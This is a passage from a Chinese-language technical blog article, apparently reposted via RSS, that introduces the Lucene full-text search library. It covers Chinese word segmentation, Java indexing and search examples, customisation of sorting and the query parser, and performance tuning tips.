<TD align=middle width="40%" height=16>数据库</TD></TR>
<TR>
<TD width="9%" height=48>索引</TD>
<TD width="47%" height=48>将数据源中的数据都通过全文索引一一建立反向索引</TD>
<TD width="40%" height=48>对于LIKE查询来说，数据传统的索引是根本用不上的。数据需要逐个便利记录进行GREP式的模糊匹配，比有索引的搜索速度要有多个数量级的下降。</TD></TR>
<TR>
<TD width="9%" height=49>匹配效果</TD>
<TD width="47%" height=49>通过词元(term)进行匹配，通过语言分析接口的实现，可以实现对中文等非英语的支持。</TD>
<TD width="40%" height=49>使用：like "%net%" 会把netherlands也匹配出来，<BR>多个关键词的模糊匹配：使用like "%com%net%"：就不能匹配词序颠倒的xxx.net..xxx.com</TD></TR>
<TR>
<TD width="9%" height=32>匹配度</TD>
<TD width="47%" height=32>有匹配度算法，将匹配程度（相似度）比较高的结果排在前面。</TD>
<TD width="40%" height=32>没有匹配程度的控制：比如有记录中net出现5词和出现1次的，结果是一样的。</TD></TR>
<TR>
<TD width="9%" height=32>结果输出</TD>
<TD width="47%" height=32>通过特别的算法，将最匹配度最高的头100条结果输出，结果集是缓冲式的小批量读取的。</TD>
<TD width="40%" height=32>返回所有的结果集，在匹配条目非常多的时候（比如上万条）需要大量的内存存放这些临时结果集。</TD></TR>
<TR>
<TD width="9%" height=32>可定制性</TD>
<TD width="47%" height=32>通过不同的语言分析接口实现，可以方便的定制出符合应用需要的索引规则（包括对中文的支持）</TD>
<TD width="40%" height=32>没有接口或接口复杂，无法定制</TD></TR>
<TR>
<TD width="9%" height=32>结论</TD>
<TD width="47%" height=32>高负载的模糊查询应用，需要负责的模糊查询的规则，索引的资料量比较大</TD>
<TD width="40%" height=32>使用率低，模糊匹配规则简单或者需要模糊查询的资料量少</TD></TR></TBODY></TABLE>
<P><SPAN style="FONT-WEIGHT: bold">全文检索和数据库应用最大的不同在于：让</SPAN><SPAN style="FONT-WEIGHT: bold">最相关的</SPAN><SPAN style="FONT-WEIGHT: bold">头100条结果满足98%以上用户的需求<BR></SPAN><BR>Lucene的创新之处：</P>
<P>大部分的搜索（数据库）引擎都是用B树结构来维护索引，索引的更新会导致大量的IO操作，Lucene在实现中，对此稍微有所改进：不是维护一个索引文件，而是在扩展索引的时候不断创建新的索引文件，然后定期的把这些新的小索引文件合并到原先的大索引中（针对不同的更新策略，批次的大小可以调整），这样在不影响检索的效率的前提下，提高了索引的效率。</P>
<P>Lucene和其他一些全文检索系统/应用的比较：</P>
<TABLE width="100%" border=1>
<TBODY>
<TR>
<TD align=middle width="18%">　</TD>
<TD align=middle width="45%">Lucene</TD>
<TD align=middle width="37%">其他开源全文检索系统</TD></TR>
<TR>
<TD width="18%">增量索引和批量索引</TD>
<TD width="45%">可以进行增量的索引(Append)，可以对于大量数据进行批量索引，并且接口设计用于优化批量索引和小批量的增量索引。</TD>
<TD width="37%">很多系统只支持批量的索引，有时数据源有一点增加也需要重建索引。</TD></TR>
<TR>
<TD width="18%">数据源</TD>
<TD width="45%">Lucene没有定义具体的数据源，而是一个文档的结构，因此可以非常灵活的适应各种应用（只要前端有合适的转换器把数据源转换成相应结构），</TD>
<TD width="37%">很多系统只针对网页，缺乏其他格式文档的灵活性。</TD></TR>
<TR>
<TD width="18%">索引内容抓取</TD>
<TD width="45%">Lucene的文档是由多个字段组成的，甚至可以控制那些字段需要进行索引，那些字段不需要索引，近一步索引的字段也分为需要分词和不需要分词的类型：<BR>&nbsp;&nbsp; 需要进行分词的索引，比如：标题，文章内容字段<BR>&nbsp;&nbsp; 不需要进行分词的索引，比如：作者/日期字段</TD>
<TD width="37%">缺乏通用性，往往将文档整个索引了</TD></TR>
<TR>
<TD width="18%">语言分析</TD>
<TD width="45%">通过语言分析器的不同扩展实现：<BR>可以过滤掉不需要的词：an the of 等，<BR>西文语法分析：将jumps jumped jumper都归结成jump进行索引/检索<BR>非英文支持：对亚洲语言，阿拉伯语言的索引支持</TD>
<TD width="37%">缺乏通用接口实现</TD></TR>
<TR>
<TD width="18%">查询分析</TD>
<TD width="45%">通过查询分析接口的实现，可以定制自己的查询语法规则：<BR>比如： 多个关键词之间的 + - and or关系等</TD>
<TD width="37%">　</TD></TR>
<TR>
<TD width="18%">并发访问</TD>
<TD width="45%">能够支持多用户的使用</TD>
<TD width="37%">　</TD></TR></TBODY></TABLE>
<P>　</P>
<P><B><A name=segment>关于亚洲语言的的切分词问题(Word Segment)</A></B></P>
<P>对于中文来说，全文索引首先还要解决一个语言分析的问题，对于英文来说，语句中单词之间是天然通过空格分开的，但亚洲语言的中日韩文语句中的字是一个字挨一个，所有，首先要把语句中按“词”进行索引的话，这个词如何切分出来就是一个很大的问题。</P>
<P>首先，肯定不能用单个字符作(si-gram)为索引单元，否则查“上海”时，不能让含有“海上”也匹配。</P>
<P>但一句话：“北京天安门”，计算机如何按照中文的语言习惯进行切分呢？<BR>“北京 天安门” 还是“北 京 天安门”？让计算机能够按照语言习惯进行切分，往往需要机器有一个比较丰富的词库才能够比较准确的识别出语句中的单词。</P>
<P>另外一个解决的办法是采用自动切分算法：将单词按照2元语法(bigram)方式切分出来，比如：<BR>"北京天安门" ==&gt; "北京 京天 天安 安门"。</P>
<P>这样，在查询的时候，无论是查询"北京" 还是查询"天安门"，将查询词组按同样的规则进行切分："北京"，"天安安门"，多个关键词之间按与"and"的关系组合，同样能够正确地映射到相应的索引中。这种方式对于其他亚洲语言：韩文，日文都是通用的。</P>
<P>基于自动切分的最大优点是没有词表维护成本，实现简单，缺点是索引效率低，但对于中小型应用来说，基于2元语法的切分还是够用的。基于2元切分后的索引一般大小和源文件差不多，而对于英文，索引文件一般只有原文件的30%-40%不同，</P>
<TABLE height=68 width="100%" border=1>
<TBODY>
<TR>
<TD align=middle width="11%" height=18><BR></TD>
<TD align=middle width="39%" height=18>自动切分</TD>
<TD align=middle width="50%" height=18>词表切分</TD></TR>
<TR>
<TD width="11%" height=16>实现</TD>
<TD width="39%" height=16>实现非常简单</TD>
<TD width="50%" height=16>实现复杂</TD></TR>
<TR>
<TD width="11%" height=16>查询</TD>
<TD width="39%" height=16>增加了查询分析的复杂程度，</TD>
<TD width="50%" height=16>适于实现比较复杂的查询语法规则</TD></TR>
<TR>
<TD width="11%" height=16>存储效率</TD>
<TD width="39%" height=16>索引冗余大，索引几乎和原文一样大</TD>
<TD width="50%" height=16>索引效率高，为原文大小的30％左右</TD></TR>
<TR>
<TD width="11%" height=16>维护成本</TD>
<TD width="39%" height=16>无词表维护成本</TD>
<TD width="50%" height=16>词表维护成本非常高：中日韩等语言需要分别维护。<BR>还需要包括词频统计等内容</TD></TR>
<TR>
<TD width="11%" height=16>适用领域</TD>
<TD width="39%" height=16>嵌入式系统：运行环境资源有限<BR>分布式系统：无词表同步问题<BR>多语言环境：无词表维护成本</TD>
<TD width="50%" height=16>对查询和存储效率要求高的专业搜索引擎<BR></TD></TR></TBODY></TABLE>
<P>目前比较大的搜索引擎的语言分析算法一般是基于以上2个机制的结合。关于中文的语言分析算法，大家可以在Google查关键词"wordsegment search"能找到更多相关的资料。</P>
<P><A name=demo><B>安装和使用</B></A></P>
<P>下载：<A href="http://jakarta.apache.org/lucene/">http://jakarta.apache.org/lucene/</A></P>
<P>注意：Lucene中的一些比较复杂的词法分析是用JavaCC生成的（JavaCC：JavaCompilerCompiler，纯Java的词法分析生成器），所以如果从源代码编译或需要修改其中的QueryParser、定制自己的词法分析器，还需要从<A href="https://javacc.dev.java.net/">https://javacc.dev.java.net/</A>下载javacc。</P>
<P>lucene的组成结构：对于外部应用来说索引模块(index)和检索模块(search)是主要的外部应用入口</P>
<TABLE width="100%" border=1>
<TBODY>
<TR>
<TD width="27%">org.apache.Lucene.search/</TD>
<TD width="73%">搜索入口</TD></TR>
<TR>
<TD width="27%">org.apache.Lucene.index/</TD>
<TD width="73%">索引入口</TD></TR>
<TR>
<TD width="27%">org.apache.Lucene.analysis/</TD>
<TD width="73%">语言分析器</TD></TR>
<TR>
<TD width="27%">org.apache.Lucene.queryParser/</TD>
<TD width="73%">查询分析器</TD></TR>
<TR>
<TD width="27%">org.apache.Lucene.document/</TD>
<TD width="73%">存储结构</TD></TR>
<TR>
<TD width="27%">org.apache.Lucene.store/&nbsp;</TD>
<TD width="73%">底层IO/存储结构</TD></TR>
<TR>
<TD width="27%">org.apache.Lucene.util/</TD>
<TD width="73%">一些公用的数据结构</TD></TR></TBODY></TABLE>
<P>简单的例子演示一下Lucene的使用方法：</P>索引过程：从命令行读取文件名（多个），将文件分路径(path字段)和内容(body字段)2个字段进行存储，并对内容进行全文索引：索引的单位是Document对象，每个Document对象包含多个字段Field对象，针对不同的字段属性和数据输出的需求，对字段还可以选择不同的索引/存储字段规则，列表如下： 
<TABLE border=1>
<TBODY>
<TR>
<TH>方法</TH>
<TH>切词</TH>
<TH>索引</TH>
<TH>存储</TH>
<TH>用途</TH></TR>
<TR>
<TD>Field.Text(String name, String value)</TD>
<TD>Yes</TD>
<TD>Yes</TD>
<TD>Yes</TD>
<TD vAlign=top>切分词索引并存储，比如：标题，内容字段</TD></TR>
<TR>
<TD>Field.Text(String name, Reader value)</TD>
<TD>Yes</TD>
<TD>Yes</TD>
<TD>No</TD>
<TD vAlign=top>切分词索引不存储，比如：META信息，<BR>不用于返回显示，但需要进行检索内容</TD></TR>
<TR>
<TD>Field.Keyword(String name, String value)</TD>
<TD>No</TD>
<TD>Yes</TD>
<TD>Yes</TD>
<TD vAlign=top>不切分索引并存储，比如：日期字段</TD></TR>
<TR>
<TD>Field.UnIndexed(String name, String value)</TD>
<TD>No</TD>
<TD>No</TD>
<TD>Yes</TD>
<TD vAlign=top>不索引，只存储，比如：文件路径</TD></TR>
<TR>
<TD>Field.UnStored(String name, String value)</TD>
<TD>Yes</TD>
<TD>Yes</TD>
<TD>No</TD>
<TD vAlign=top>只全文索引，不存储</TD></TR></TBODY></TABLE><PRE>public class IndexFiles { <BR>  //使用方法：: IndexFiles [索引输出目录] [索引的文件列表] ... <BR>  public static void main(String[] args) throws Exception {<BR>    String indexPath = args[0];<BR>    IndexWriter writer;<BR>    //用指定的语言分析器构造一个新的写索引器（第3个参数表示是否为追加索引）<BR>    writer = new IndexWriter(indexPath, new SimpleAnalyzer(), false);<BR><BR>    for (int i=1; i&lt;args.length; i++) {<BR>      System.out.println("Indexing file " + args[i]);<BR>      InputStream is = new FileInputStream(args[i]);<BR><BR>      //构造包含2个字段Field的Document对象<BR>      //一个是路径path字段，不索引，只存储<BR>      //一个是内容body字段，进行全文索引，并存储<BR>      Document doc = new Document();<BR>      doc.add(Field.UnIndexed("path", args[i]));<BR>      doc.add(Field.Text("body", (Reader) new InputStreamReader(is)));<BR>      //将文档写入索引<BR>      writer.addDocument(doc);<BR>      is.close();<BR>    };<BR>    //关闭写索引器<BR>    writer.close();<BR>  }<BR>}<BR>　</PRE>
<P>索引过程中可以看到：</P>
<UL>
<LI>语言分析器提供了抽象的接口，因此语言分析(Analyser)是可以定制的，虽然lucene缺省提供了2个比较通用的分析器SimpleAnalyser和StandardAnalyser，这2个分析器缺省都不支持中文，所以要加入对中文语言的切分规则，需要修改这2个分析器。 
<LI>Lucene并没有规定数据源的格式，而只提供了一个通用的结构（Document对象）来接受索引的输入，因此输入的数据源可以是：数据库，WORD文档，PDF文档，HTML文档……只要能够设计相应的解析转换器将数据源构造成成Docuement对象即可进行索引。 
<LI>对于大批量的数据索引，还可以通过调整IndexerWrite的文件合并频率属性（mergeFactor）来提高批量索引的效率。 </LI></UL>
<P>检索过程和结果显示：</P>
<P>搜索结果返回的是Hits对象，可以通过它再访问Document==&gt;Field中的内容。</P>
<P>假设根据body字段进行全文检索，可以将查询结果的path字段和相应查询的匹配度(score)打印出来，</P><PRE>public class Search { <BR>  public static void main(String[] args) throws Exception {<BR>    String indexPath = args[0], queryString = args[1];<BR>    //指向索引目录的搜索器<BR>    Searcher searcher = new IndexSearcher(indexPath);<BR>    //查询解析器：使用和索引同样的语言分析器<BR>    Query query = QueryParser.parse(queryString, "body", <BR>                              new SimpleAnalyzer());<BR>    //搜索结果使用Hits存储<BR>    Hits hits = searcher.search(query);<BR>    //通过hits可以访问到相应字段的数据和查询的匹配度<BR>    for (int i=0; i&lt;hits.length(); i++) {<BR>      System.out.println(hits.doc(i).get("path") + "; Score: " + <BR>                         hits.score(i));<BR>    };<BR>  }<BR>}</PRE>在整个检索过程中，语言分析器，查询分析器，甚至搜索器（Searcher）都是提供了抽象的接口，可以根据需要进行定制。 
<P><B><A name=hacking>Hacking Lucene</A></B></P>
<P><B>简化的查询分析器</B></P>
<P>个人感觉lucene成为JAKARTA项目后，画在了太多的时间用于调试日趋复杂QueryParser，而其中大部分是大多数用户并不很熟悉的，目前LUCENE支持的语法：</P>
<P>Query ::= ( Clause )*<BR>Clause ::= ["+", "-"] [&lt;TERM&gt; ":"] ( &lt;TERM&gt; | "(" Query ")")</P>
<P>中间的逻辑包括：and or + - &amp;&amp;||等符号，而且还有"短语查询"和针对西文的前缀/模糊查询等，个人感觉对于一般应用来说，这些功能有一些华而不实，其实能够实现目前类似于Google的查询语句分析功能其实对于大多数用户来说已经够了。所以，Lucene早期版本的QueryParser仍是比较好的选择。</P>
<P><B>添加修改删除指定记录（Document）</B></P>
<P>Lucene提供了索引的扩展机制，因此索引的动态扩展应该是没有问题的，而指定记录的修改也似乎只能通过记录的删除，然后重新加入实现。如何删除指定的记录呢？删除的方法也很简单，只是需要在索引时根据数据源中的记录ID专门另建索引，然后利用IndexReader.delete(Termterm)方法通过这个记录ID删除相应的Document。</P>
<P><B>根据某个字段值的排序功能</B></P>
<P>lucene缺省是按照自己的相关度算法（score）进行结果排序的，但能够根据其他字段进行结果排序是一个在LUCENE的开发邮件列表中经常提到的问题，很多原先基于数据库应用都需要除了基于匹配度（score）以外的排序功能。而从全文检索的原理我们可以了解到，任何不基于索引的搜索过程效率都会导致效率非常的低，如果基于其他字段的排序需要在搜索过程中访问存储字段，速度回大大降低，因此非常是不可取的。</P>
<P>但这里也有一个折中的解决方法：在搜索过程中能够影响排序结果的只有索引中已经存储的docID和score这2个参数，所以，基于score以外的排序，其实可以通过将数据源预先排好序，然后根据docID进行排序来实现。这样就避免了在LUCENE搜索结果外对结果再次进行排序和在搜索过程中访问不在索引中的某个字段值。</P>
<P>这里需要修改的是IndexSearcher中的HitCollector过程：</P><PRE>...<BR>　scorer.score(new HitCollector() {<BR>	private float minScore = 0.0f;<BR>	public final void collect(int doc, float score) {<BR>	  if (score &gt; 0.0f &amp;&amp;			  // ignore zeroed buckets<BR>	      (bits==null || bits.get(doc))) {	  // skip docs not in bits<BR>	    totalHits[0]++;<BR>	    if (score &gt;= minScore) {<BR>              /* 原先：Lucene将docID和相应的匹配度score例入结果命中列表中：<BR>	       * hq.put(new ScoreDoc(doc, score));	  // update hit queue<BR>               * 如果用doc 或 1/doc 代替 score，就实现了根据docID顺排或逆排<BR>               * 假设数据源索引时已经按照某个字段排好了序，而结果根据docID排序也就实现了<BR>               * 针对某个字段的排序，甚至可以实现更复杂的score和docID的拟合。<BR>               */<BR>              hq.put(new ScoreDoc(doc, (float) 1/doc )); <BR>	      if (hq.size() &gt; nDocs) {		  // if hit queue overfull<BR>		hq.pop();			  // remove lowest in hit queue<BR>		minScore = ((ScoreDoc)hq.top()).score; // reset minScore<BR>	      }<BR>	    }<BR>	  }<BR>	}<BR>      }, reader.maxDoc());</PRE>
<P><B>更通用的输入输出接口</B></P>
<P>虽然lucene没有定义一个确定的输入文档格式，但越来越多的人想到使用一个标准的中间格式作为Lucene的数据导入接口，然后其他数据，比如PDF只需要通过解析器转换成标准的中间格式就可以进行数据索引了。这个中间格式主要以XML为主，类似实现已经不下4，5个：</P><PRE>数据源: WORD       PDF     HTML    DB       other<BR>         \          |       |      |         /<BR>                       XML中间格式<BR>                            |<BR>                     Lucene INDEX</PRE>
<P>目前还没有针对MSWord文档的解析器，因为Word文档和基于ASCII的RTF文档不同，需要使用COM对象机制解析。这个是我在Google上查的相关资料：<A href="http://www.intrinsyc.com/products/enterprise_applications.asp">http://www.intrinsyc.com/products/enterprise_applications.asp</A><BR>另外一个办法就是把Word文档转换成text：<A href="http://www.winfield.demon.nl/index.html">http://www.winfield.demon.nl/index.html</A><BR></P>
<P><BR><B>索引过程优化</B></P>
<P>索引一般分2种情况，一种是小批量的索引扩展，一种是大批量的索引重建。在索引过程中，并不是每次新的DOC加入进去索引都重新进行一次索引文件的写入操作（文件I/O是一件非常消耗资源的事情）。</P>
<P>Lucene先在内存中进行索引操作，并根据一定的批量进行文件的写入。这个批次的间隔越大，文件的写入次数越少，但占用内存会很多。反之占用内存少，但文件IO操作频繁，索引速度会很慢。在IndexWriter中有一个MERGE_FACTOR参数可以帮助你在构造索引器后根据应用环境的情况充分利用内存减少文件的操作。根据我的使用经验：缺省Indexer是每20条记录索引后写入一次，每将MERGE_FACTOR增加50倍，索引速度可以提高1倍左右。<BR></P>
<P><SPAN style="FONT-WEIGHT: bold">搜索过程优化<BR></SPAN></P>
<P><SPAN style="FONT-WEIGHT: bold"></SPAN>lucene支持内存索引：这样的搜索比基于文件的I/O有数量级的速度提升。<BR><A href="http://www.onjava.com/lpt/a/3273">http://www.onjava.com/lpt/a/3273</A><BR>而尽可能减少IndexSearcher的创建和对搜索结果的前台的缓存也是必要的。<BR><SPAN style="FONT-WEIGHT: bold"></SPAN></P>
<P><B></B></P>
<P>Lucene面向全文检索的优化在于首次索引检索后，并不把所有的记录（Document）具体内容读取出来，而起只将所有结果中匹配度最高的头100条结果（TopDocs）的ID放到结果集缓存中并返回，这里可以比较一下数据库检索：如果是一个10,000条的数据库检索结果集，数据库是一定要把所有记录内容都取得以后再开始返回给应用结果集的。所以即使检索匹配总数很多，Lucene的结果集占用的内存空间也不会很多。对于一般的模糊检索应用是用不到这么多的结果的，头100条已经可以满足90%以上的检索需求。<BR></P>
<P>如果首批缓存结果数用完后还要读取更后面的结果时Searcher会再次检索并生成一个上次的搜索缓存数大1倍的缓存，并再重新向后抓取。所以如果构造一个Searcher去查1－120条结果，Searcher其实是进行了2次搜索过程：头100条取完后，缓存结果用完，Searcher重新检索再构造一个200条的结果缓存，依此类推，400条缓存，800条缓存。由于每次Searcher对象消失后，这些缓存也访问那不到了，你有可能想将结果记录缓存下来，缓存数尽量保证在100以下以充分利用首次的结果缓存，不让Lucene浪费多次检索，而且可以分级进行结果缓存。<BR></P>
<P>Lucene的另外一个特点是在收集结果的过程中将匹配度低的结果自动过滤掉了。这也是和数据库应用需要将搜索的结果全部返回不同之处。</P>
<P><A href="http://sourceforge.net/projects/weblucene/">我的一些尝试</A>：</P>
<UL>
<LI>支持中文的Tokenizer：这里有2个版本，一个是通过JavaCC生成的，对CJK部分按一个字符一个TOKEN索引，另外一个是从SimpleTokenizer改写的，对英文支持数字和字母TOKEN，对中文按迭代索引。 
<LI>基于XML数据源的索引器：XMLIndexer，因此所有数据源只要能够按照DTD转换成指定的XML，就可以用XMLIndxer进行索引了。 
<LI>根据某个字段排序：按记录索引顺序排序结果的搜索器：IndexOrderSearcher，因此如果需要让搜索结果根据某个字段排序，可以让数据源先按某个字段排好序（比如：PriceField），这样索引后，然后在利用这个按记录的ID顺序检索的搜索器，结果就是相当于是那个字段排序的结果了。 </LI></UL>
<P><A name=learn><B>从Lucene学到更多</B></A></P>
<P>Luene的确是一个面对对象设计的典范</P>
<UL>
<LI>所有的问题都通过一个额外抽象层来方便以后的扩展和重用：你可以通过重新实现来达到自己的目的，而对其他模块而不需要； 
<LI>简单的应用入口Searcher, Indexer，并调用底层一系列组件协同的完成搜索任务； 
<LI>所有的对象的任务都非常专一：比如搜索过程：QueryParser分析将查询语句转换成一系列的精确查询的组合(Query),通过底层的索引读取结构IndexReader进行索引的读取，并用相应的打分器给搜索结果进行打分/排序等。所有的功能模块原子化程度非常高，因此可以通过重新实现而不需要修改其他模块。&nbsp; 
<LI>除了灵活的应用接口设计，Lucene还提供了一些适合大多数应用的语言分析器实现（SimpleAnalyser,StandardAnalyser），这也是新用户能够很快上手的重要原因之一。 </LI></UL>
<P>这些优点都是非常值得在以后的开发中学习借鉴的。作为一个通用工具包，Lunece的确给予了需要将全文检索功能嵌入到应用中的开发者很多的便利。</P>
<P>此外，通过对Lucene的学习和使用，我也更深刻地理解了为什么很多数据库优化设计中要求，比如：</P>
<UL>
<LI>尽可能对字段进行索引来提高查询速度，但过多的索引会对数据库表的更新操作变慢，而对结果过多的排序条件，实际上往往也是性能的杀手之一。 
<LI>很多商业数据库对大批量的数据插入操作会提供一些优化参数，这个作用和索引器的merge_factor的作用是类似的， 
<LI>20%/80%原则：查的结果多并不等于质量好，尤其对于返回结果集很大，如何优化这头几十条结果的质量往往才是最重要的。 
<LI>尽可能让应用从数据库中获得比较小的结果集，因为即使对于大型数据库，对结果集的随机访问也是一个非常消耗资源的操作。<BR></LI></UL>
<P>参考资料：</P>
<P>Apache: Lucene Project<BR><A href="http://jakarta.apache.org/lucene/">http://jakarta.apache.org/lucene/<BR></A>Lucene开发/用户邮件列表归档<BR><A href="http://www.mail-archive.com/lucene-dev@jakarta.apache.org/">Lucene-dev@jakarta.apache.org</A><BR><A href="http://www.mail-archive.com/lucene-user@jakarta.apache.org/">Lucene-user@jakarta.apache.org</A></P>
<P>The Lucene search engine: Powerful, flexible, and free<BR><A href="http://www.javaworld.com/javaworld/jw-09-2000/jw-0915-lucene_p.html">http://www.javaworld.com/javaworld/jw-09-2000/jw-0915-Lucene_p.html</A></P>
<P>Lucene Tutorial<BR><A href="http://www.darksleep.com/puff/lucene/lucene.html">http://www.darksleep.com/puff/lucene/lucene.html</A></P>
<P>Notes on distributed searching with Lucene<BR><A href="http://home.clara.net/markharwood/lucene/">http://home.clara.net/markharwood/lucene/</A></P>
<P>中文语言的切分词<BR><A href="http://www.google.com/search?sourceid=navclient&amp;hl=zh-CN&amp;q=chinese+word+segment">http://www.google.com/search?sourceid=navclient&amp;hl=zh-CN&amp;q=chinese+word+segment</A></P>
<P>搜索引擎工具介绍<A href="http://searchtools.com/"><BR>http://searchtools.com/</A></P>
<P>Lucene作者Cutting的几篇论文和专利<BR><A href="http://lucene.sourceforge.net/publications.html">http://lucene.sourceforge.net/publications.html</A>&nbsp;</P>
<P>Lucene的.NET实现：dotLucene<BR><A href="http://sourceforge.net/projects/dotlucene/">http://sourceforge.net/projects/dotlucene/<BR></A></P>
<P>Lucene作者Cutting的另外一个项目：基于Java的搜索引擎Nutch<BR><A href="http://www.nutch.org/">http://www.nutch.org/</A> &nbsp; <A href="http://sourceforge.net/projects/nutch/">http://sourceforge.net/projects/nutch/<BR></A></P>
<P>关于基于词表和N-Gram的切分词比较<BR><A href="http://china.nikkeibp.co.jp/cgi-bin/china/news/int/int200302100112.html">http://china.nikkeibp.co.jp/cgi-bin/china/news/int/int200302100112.html</A><BR><BR>2005-01-08 <A href="http://lucene.sourceforge.net/talks/pisa/">Cutting在Pisa大学做的关于Lucene的讲座：非常详细的Lucene架构解说</A> </P>
<P>特别感谢：<BR><A href="http://www.google.com/search?q=%22Jack+Xu%22+Excite">前网易CTO许良杰(Jack Xu)</A>给我的指导：是您将我带入了搜索引擎这个行业。</P>原文出处：&lt;ahref="http://www.chedong.com/tech/lucene.html"&gt;http://www.chedong.com/tech/lucene.html&lt;/a&gt;<img src ="http://www.blogjava.net/kapok/aggbug/9387.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-05 13:19 <a href="http://www.blogjava.net/kapok/archive/2005/08/05/9387.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>